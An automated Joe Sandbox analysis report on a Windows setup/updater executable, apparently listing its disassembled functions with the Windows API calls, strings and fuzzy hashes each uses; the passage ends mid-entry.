Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CloseFileHandle$CreateSize
String ID: open
API String ID: 4148174661-2758837156
Opcode ID: e3fa1c829d83f380c9afc789276c8f06a97929c4063c58e9adbc11fa902aea28
Instruction ID: 31f76d4b2df3b02003d4bf371535adb9aaee7e55b7c72a06b84bc2bccc4376a4
Opcode Fuzzy Hash: e3fa1c829d83f380c9afc789276c8f06a97929c4063c58e9adbc11fa902aea28
Instruction Fuzzy Hash: 57028C706046449FDB24CF64C888FAEBBF1EF44314F28856CE54A9F2A2CB75A949CF51

Function 000E4360 Relevance: 9.2, APIs: 6, Instructions: 160fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000004,00000080,00000000,000000E0,0CE81EE3), ref: 000E43E4
GetLastError.KERNEL32 ref: 000E43FF
WriteFile.KERNEL32(00000000,0000FEFF,00000002,000000E0,00000000), ref: 000E4429
GetLastError.KERNEL32 ref: 000E4433
CloseHandle.KERNEL32(00000000), ref: 000E444B
CloseHandle.KERNEL32(00000000), ref: 000E4471

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CloseErrorFileHandleLast$CreateWrite
String ID:
API String ID: 7012363-0
Opcode ID: 43fac94397f828dd3ed22621d0061796c26458deb577cfc3a322ac5ab5303dd7
Instruction ID: f25df755e2d249b90e35047e9c79ff68a8397859c461cf3b235587ece3b4fa3a
Opcode Fuzzy Hash: 43fac94397f828dd3ed22621d0061796c26458deb577cfc3a322ac5ab5303dd7
Instruction Fuzzy Hash: AC51C1B1A00258DFDB14CF68C948BDEBBF4EF49314F248219E825BB2C1D7759945CBA0

Function 000809B0 Relevance: 9.1, APIs: 6, Instructions: 148COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000809FA
std::_Lockit::_Lockit.LIBCPMT ref: 00080A1C
std::_Lockit::~_Lockit.LIBCPMT ref: 00080A44
__Getctype.LIBCPMT ref: 00080B15
std::_Facet_Register.LIBCPMT ref: 00080B77
std::_Lockit::~_Lockit.LIBCPMT ref: 00080BA1

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: f95e6e4924a2a345ca09a50adcd6c4e3ee08dcc5d4e2cc8afca0db0c0a85ab43
Instruction ID: 21d5497e9709c0a93ead247a594dff43dc8893ac1c7497189a4307f864dc018f
Opcode Fuzzy Hash: f95e6e4924a2a345ca09a50adcd6c4e3ee08dcc5d4e2cc8afca0db0c0a85ab43
Instruction Fuzzy Hash: C151EFB1D00744CFDB10DF68C940BAEBBF4FF14314F158259E894AB292E771AA85CB82

Function 000DA0D0 Relevance: 9.1, APIs: 6, Instructions: 144COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,00000000,00000000,74DEF360,?,?,000DAB3F,00000000,00000000,?,?,?,00000000,00000000,000DADE3,?), ref: 000DA108
CharNextW.USER32(00000000,?,00000000,00000000,74DEF360,?,?,000DAB3F,00000000,00000000,?,?,?,00000000,00000000,000DADE3), ref: 000DA12F
CharNextW.USER32(00000027,?,00000000,00000000,74DEF360,?,?,000DAB3F,00000000,00000000,?,?,?,00000000,00000000,000DADE3), ref: 000DA14C
CharNextW.USER32(00000027,?,00000000,00000000,74DEF360,?,?,000DAB3F,00000000,00000000,?,?,?,00000000,00000000,000DADE3), ref: 000DA154
CharNextW.USER32(?,?,00000000,00000000,74DEF360,?,?,000DAB3F,00000000,00000000,?,?,?,00000000,00000000,000DADE3), ref: 000DA1C2
CharNextW.USER32(?,00000000,00000000,74DEF360,?,?,000DAB3F,00000000,00000000,?,?,?,00000000,00000000,000DADE3,?), ref: 000DA1EB

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: 171dfaf5e83c19c65117fa97fded3868c2618ddff986c49916b87f7d2818edd9
Instruction ID: 5a94d1d35b1db43116b0b4641058efd382abe3e3fb0b6aa34ba12e7fde94d9b7
Opcode Fuzzy Hash: 171dfaf5e83c19c65117fa97fded3868c2618ddff986c49916b87f7d2818edd9
Instruction Fuzzy Hash: 0F41C03A7043058FCB14CF29DC805BAB3E2FF9A311F55852BE84987755E7359941C7A2

Function 000807D0 Relevance: 9.1, APIs: 6, Instructions: 131COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0008080D
std::_Lockit::_Lockit.LIBCPMT ref: 0008082D
std::_Lockit::~_Lockit.LIBCPMT ref: 00080855
__Getcoll.LIBCPMT ref: 00080913
std::_Facet_Register.LIBCPMT ref: 00080958
std::_Lockit::~_Lockit.LIBCPMT ref: 00080982

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetcollRegister
String ID:
API String ID: 1184649410-0
Opcode ID: 5e691a79d4a194dd27ec34afe087e358a5d065988e9985f1ae5f8d7a29abce04
Instruction ID: 256f80cc0f16095f8e1a65ffe4d67eda954b48b307e3784c6063286ce567bb8e
Opcode Fuzzy Hash: 5e691a79d4a194dd27ec34afe087e358a5d065988e9985f1ae5f8d7a29abce04
Instruction Fuzzy Hash: 1C51CE71C05248EFDB00EF94E984BDEFBB4FF50310F204159E8956B292DB75AA45CB81

Function 000DF470 Relevance: 9.1, APIs: 6, Instructions: 121libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000022,0CE81EE3,?,?,?,80004005,0CE81EE3,?,?), ref: 000DF4A1
FindResourceW.KERNEL32(00000000,00000001,0000000A,?,00000000,00000022,0CE81EE3), ref: 000DF4C7
LoadResource.KERNEL32(00000000,00000000,?,00000000,00000022,0CE81EE3), ref: 000DF4D9

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

LockResource.KERNEL32(0CE81EE3,?,00000000,00000022,0CE81EE3), ref: 000DF508
SizeofResource.KERNEL32(00000000,00000000,?,00000000,00000022,0CE81EE3), ref: 000DF517

Part of subcall function 0009ED20: MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,0009C46B,00000000,00000000,?,0009C46B,00000000), ref: 0009ED83
Part of subcall function 0009ED20: MultiByteToWideChar.KERNEL32(00000003,00000000,00000000,0009C46B,?,00000000,?,0009C46B,00000000), ref: 0009EDB5

FreeLibrary.KERNEL32(00000000,?,00000000,00000022,0CE81EE3), ref: 000DF58C

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Resource$ByteCharLibraryLoadMultiWide$FindFreeHeapLockProcessSizeof
String ID:
API String ID: 2321941516-0
Opcode ID: a6a1647a10ff8061c50cbdca151af77f704393057651fa6c8455d9af57523318
Instruction ID: 47de6b957c0ca8b98b4e7789cfa154d26a15f0a0cc895d758f70c0c23e37f2f6
Opcode Fuzzy Hash: a6a1647a10ff8061c50cbdca151af77f704393057651fa6c8455d9af57523318
Instruction Fuzzy Hash: 67416075900746EFDB10DFA8DD48BAEBBF8EF45314F14826AF525A7391DB7489008BA0

Function 000D33E0 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000D343F
LocalAlloc.KERNEL32(00000040,00000000), ref: 000D344C
GetLastError.KERNEL32 ref: 000D346E
GetLastError.KERNEL32 ref: 000D350D
LocalFree.KERNEL32(00000000,S-1-1-0,00020030,00000001), ref: 000D3532

Strings

S-1-1-0, xrefs: 000D34E3

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLast$Local$AllocFree
String ID: S-1-1-0
API String ID: 3336120135-3642767757
Opcode ID: 8a74aff08d58bd56391751fbd463d48e5e921ff8eb262109132b6ed5c177873b
Instruction ID: cad9c00eecbe403357b1361aef4564e7e0e559a62ae64ff030df0a87fa04723d
Opcode Fuzzy Hash: 8a74aff08d58bd56391751fbd463d48e5e921ff8eb262109132b6ed5c177873b
Instruction Fuzzy Hash: AC417CB0940309EFEB10CF94D959BEEBBB8EF15714F144159E900BB390D7B99A44CBA2

Function 000B51A0 Relevance: 9.1, APIs: 6, Instructions: 105windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 000B51C6
SendMessageW.USER32(00000000,0000048A,?,?), ref: 000B51DA

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: MessageParentSend
String ID:
API String ID: 928151917-0
Opcode ID: a0c6408dfba742331b68425e76c72cd541760235070fdb7547852f0dc6dc0a3b
Instruction ID: 7b0b27ecb2a56edb1716729afe68875b1f4a86f4d85ba4ea85340bbe4118dc87
Opcode Fuzzy Hash: a0c6408dfba742331b68425e76c72cd541760235070fdb7547852f0dc6dc0a3b
Instruction Fuzzy Hash: 9D3122716083009FEB18DB54DC59BAFB3E5FB89301F40842DF58A532A1C7749D408B91

Function 000A3250 Relevance: 9.1, APIs: 6, Instructions: 96timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,?), ref: 000A32BB
DestroyWindow.USER32(?), ref: 000A32DE

Part of subcall function 000A3570: IsAppThemed.UXTHEME(0CE81EE3), ref: 000A359D
Part of subcall function 000A3570: EnableThemeDialogTexture.UXTHEME(?,00000006), ref: 000A35AC
Part of subcall function 000A3570: SetWindowTextW.USER32(?,?), ref: 000A35BB
Part of subcall function 000A3570: GetDlgItem.USER32(?,00000407), ref: 000A35D0
Part of subcall function 000A3570: GetWindowRect.USER32(00000000,?), ref: 000A35DB
Part of subcall function 000A3570: ScreenToClient.USER32(?,?), ref: 000A35EE
Part of subcall function 000A3570: ScreenToClient.USER32(?,?), ref: 000A35FB
Part of subcall function 000A3570: SendMessageW.USER32(?,000000CB,00000003,00000000), ref: 000A3637
Part of subcall function 000A3570: SendMessageW.USER32(?,0000043B,00000000,00000000), ref: 000A3645
Part of subcall function 000A3570: SendMessageW.USER32(?,00000445,00000000,00000000), ref: 000A3657
Part of subcall function 000A3570: SendMessageW.USER32(?,0000045B,00000000,00000000), ref: 000A3665
Part of subcall function 000A3570: GetWindowRect.USER32(?,?), ref: 000A367B
Part of subcall function 000A3570: GetDesktopWindow.USER32 ref: 000A3688
Part of subcall function 000A3570: GetWindowRect.USER32(00000000), ref: 000A368F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$MessageSend$Rect$ClientScreen$DesktopDestroyDialogEnableItemKillTextTextureThemeThemedTimer
String ID:
API String ID: 1450748459-0
Opcode ID: 2aed044e1d2dfce8cf0411ba12ff3dcd58a6bb57befd795ab858cd31396b9fb9
Instruction ID: 168a6078119e5487536f9f79d0f698abaf4713d4b2fcbb7aefb193085ce2f4b8
Opcode Fuzzy Hash: 2aed044e1d2dfce8cf0411ba12ff3dcd58a6bb57befd795ab858cd31396b9fb9
Instruction Fuzzy Hash: 8B31A272608700DFEB609F58D849B9AB7E0FB55711F00891DF586CB691C7B4EE85CB60

Function 000E2DE0 Relevance: 9.1, APIs: 6, Instructions: 61windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000413), ref: 000E2DF8
SendMessageW.USER32(00000000,00000087,00000000,00000000), ref: 000E2E2A
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 000E2E41
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 000E2E5B
GetWindow.USER32(00000000,00000002), ref: 000E2E61
GetWindowLongW.USER32(00000000,000000F0), ref: 000E2E70

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: MessageSend$Window$ItemLong
String ID:
API String ID: 1613074769-0
Opcode ID: 900f01a946f4e5b83c6cad002cb7d238675e1cd4ed4e70a6fd99f8a89859ed60
Instruction ID: 8ee4b625e43ae3f267f81479ad8e6b2c34f5c789da6ba624de1305988efeab1d
Opcode Fuzzy Hash: 900f01a946f4e5b83c6cad002cb7d238675e1cd4ed4e70a6fd99f8a89859ed60
Instruction Fuzzy Hash: D1110431281362AFE7315B25DC49FBF769CAF81B54F14C125F920BE6D0CB709D4686A8

Function 000EA63C Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000EA633,000EA588,000E7E24), ref: 000EA64A
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 000EA658
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 000EA671
SetLastError.KERNEL32(00000000,000EA633,000EA588,000E7E24), ref: 000EA6C3

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 918c4700e1879b7ccd954995128915b5f99496f5b4f6727b94fdb7ebd49db4ae
Instruction ID: 4f91d84eb2d09703dbc00dcb326dc36588397a8436cc5396cd7d892c62d5191b
Opcode Fuzzy Hash: 918c4700e1879b7ccd954995128915b5f99496f5b4f6727b94fdb7ebd49db4ae
Instruction Fuzzy Hash: 900124363086A1AEA72426B6BC8569B2B9CEB0B738734422AF410B16F2EF515C41D141

Function 000C6740 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 234processCOMMON

Download Yara Rule

APIs

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

CreateProcessW.KERNEL32(00000001,?,00000000,00000000,00000000,00000000,00000000,?,00000044,?), ref: 000C6963
GetLastError.KERNEL32(?,00000000,?,0012A5C0,00000000), ref: 000C696D
ShellExecuteExW.SHELL32(?), ref: 000C69C1

Strings

open, xrefs: 000C69BA
Running temp updater from path: , xrefs: 000C688C

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Process$CreateErrorExecuteHeapLastShell
String ID: Running temp updater from path: $open
API String ID: 993710435-1129110820
Opcode ID: 79b8f1b1f417cd3e4be25910e9521bd507be2e28f6fff6f363e6c7d84a1859b2
Instruction ID: d40cc1d077e4a958be9f6a4b93fb226f6bce886e9c8ebc105eee07e293f10627
Opcode Fuzzy Hash: 79b8f1b1f417cd3e4be25910e9521bd507be2e28f6fff6f363e6c7d84a1859b2
Instruction Fuzzy Hash: D091AC71D00649DBDB10DFA8C944BAEB7F5FF89314F148259E418AB292EB759940CF90

Function 000E2A50 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 215windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

GetDlgItem.USER32(?,00000413), ref: 000E2B86
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 000E2BAF
CoTaskMemFree.OLE32(?,0CE81EE3,?,00000000,0011A49D,000000FF,?,80004005,80004005,80004005,0CE81EE3,?), ref: 000E2CC3

Strings

AutoUpdatePolicy, xrefs: 000E2BE8, 000E2BF8
CheckFrequency, xrefs: 000E2B22, 000E2B32

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: FreeHeapItemMessageProcessSendTask
String ID: AutoUpdatePolicy$CheckFrequency
API String ID: 3543605349-2555996970
Opcode ID: 93b106c7c90dad237622362a1a215a7713a8014596efea47ff2dfa7832bed846
Instruction ID: 556ccb1863804510c95bfce82a05763a97e10d09c8d42bd079742e7a93efe8e3
Opcode Fuzzy Hash: 93b106c7c90dad237622362a1a215a7713a8014596efea47ff2dfa7832bed846
Instruction Fuzzy Hash: 1381AE70A00649DFDB10DFA8CC45FAEB7F8FF04310F148669E515AB292DB74AA04CBA5

Function 000D2DC0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 202comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0011C680,00000000,00000001,0011C670,00000000,0CE81EE3), ref: 000D2E55

Part of subcall function 000A3A50: GetCurrentThreadId.KERNEL32 ref: 000A3A86
Part of subcall function 000A3A50: EnterCriticalSection.KERNEL32(0014B390), ref: 000A3AA6
Part of subcall function 000A3A50: LeaveCriticalSection.KERNEL32(0014B390), ref: 000A3ACA

GetActiveWindow.USER32 ref: 000D2EED
SetLastError.KERNEL32(0000000E), ref: 000D2F10
DialogBoxParamW.USER32(0000006E,00000000,000ABDB0,00000000,?), ref: 000D2F48

Strings

Updater wizard ended. Return code: , xrefs: 000D2FA4

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CriticalSection$ActiveCreateCurrentDialogEnterErrorInstanceLastLeaveParamThreadWindow
String ID: Updater wizard ended. Return code:
API String ID: 74906115-3061603331
Opcode ID: b4ca30acfac4b2e97d4e6f26622e89f013b88d3f9c1aba1ba1acd3e5811b2243
Instruction ID: ca61cfe21989f9710e431a60f67959d0dbbb3c147abe3fa089569e4dfecc6fbb
Opcode Fuzzy Hash: b4ca30acfac4b2e97d4e6f26622e89f013b88d3f9c1aba1ba1acd3e5811b2243
Instruction Fuzzy Hash: 80716F71900348DFDB10DF64CD49BCEBBF4AF05310F1486A9E919A7392EB749A84CBA5

Function 000D04F0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 183COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 000D058E

Strings

<, xrefs: 000D056F
. Return code: , xrefs: 000D05F8
open, xrefs: 000D0587
Updater finished. Mode: , xrefs: 000D05DF

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ExecuteShell
String ID: . Return code: $<$Updater finished. Mode: $open
API String ID: 587946157-3707118139
Opcode ID: f7455147a562a80927209b8cd3f2c1e8d6b6a717a267da19c0725765c3d87ad8
Instruction ID: 92f03dd07bd05a3846a0832de82be0b5cc723731e5f71b3cdf9b3de1f8544faa
Opcode Fuzzy Hash: f7455147a562a80927209b8cd3f2c1e8d6b6a717a267da19c0725765c3d87ad8
Instruction Fuzzy Hash: E351F971A007189BDB64DBA8C848B9EBBF5FF84714F14821AE418973A2DB748D41CFB5

Function 0009E190 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 148synchronizationnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

FtpCommandW.WININET(?,00000000,00000001,?,?,00000000), ref: 0009E209
GetLastError.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 0009E216
WaitForSingleObject.KERNEL32(?,0000000A,?,00000000), ref: 0009E243
_wcschr.LIBVCRUNTIME ref: 0009E271

Strings

REST %u, xrefs: 0009E1E3

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CommandErrorHeapLastObjectProcessSingleWait_wcschr
String ID: REST %u
API String ID: 1613455642-3183379045
Opcode ID: 6d5e1aa9c7afcf589ef50ae8a40114ac3533d755af135b0f7fcd55f5b5af5c18
Instruction ID: 3ec774b3dfc79329029d28a314e5bc7537a9bad4cfb14003b8a71e456726e40b
Opcode Fuzzy Hash: 6d5e1aa9c7afcf589ef50ae8a40114ac3533d755af135b0f7fcd55f5b5af5c18
Instruction Fuzzy Hash: A251F231900644EFDB64CB68CD88B5AB7E9BF45324F24872DE4269B6E1DB74EC00DB40

Function 00097190 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

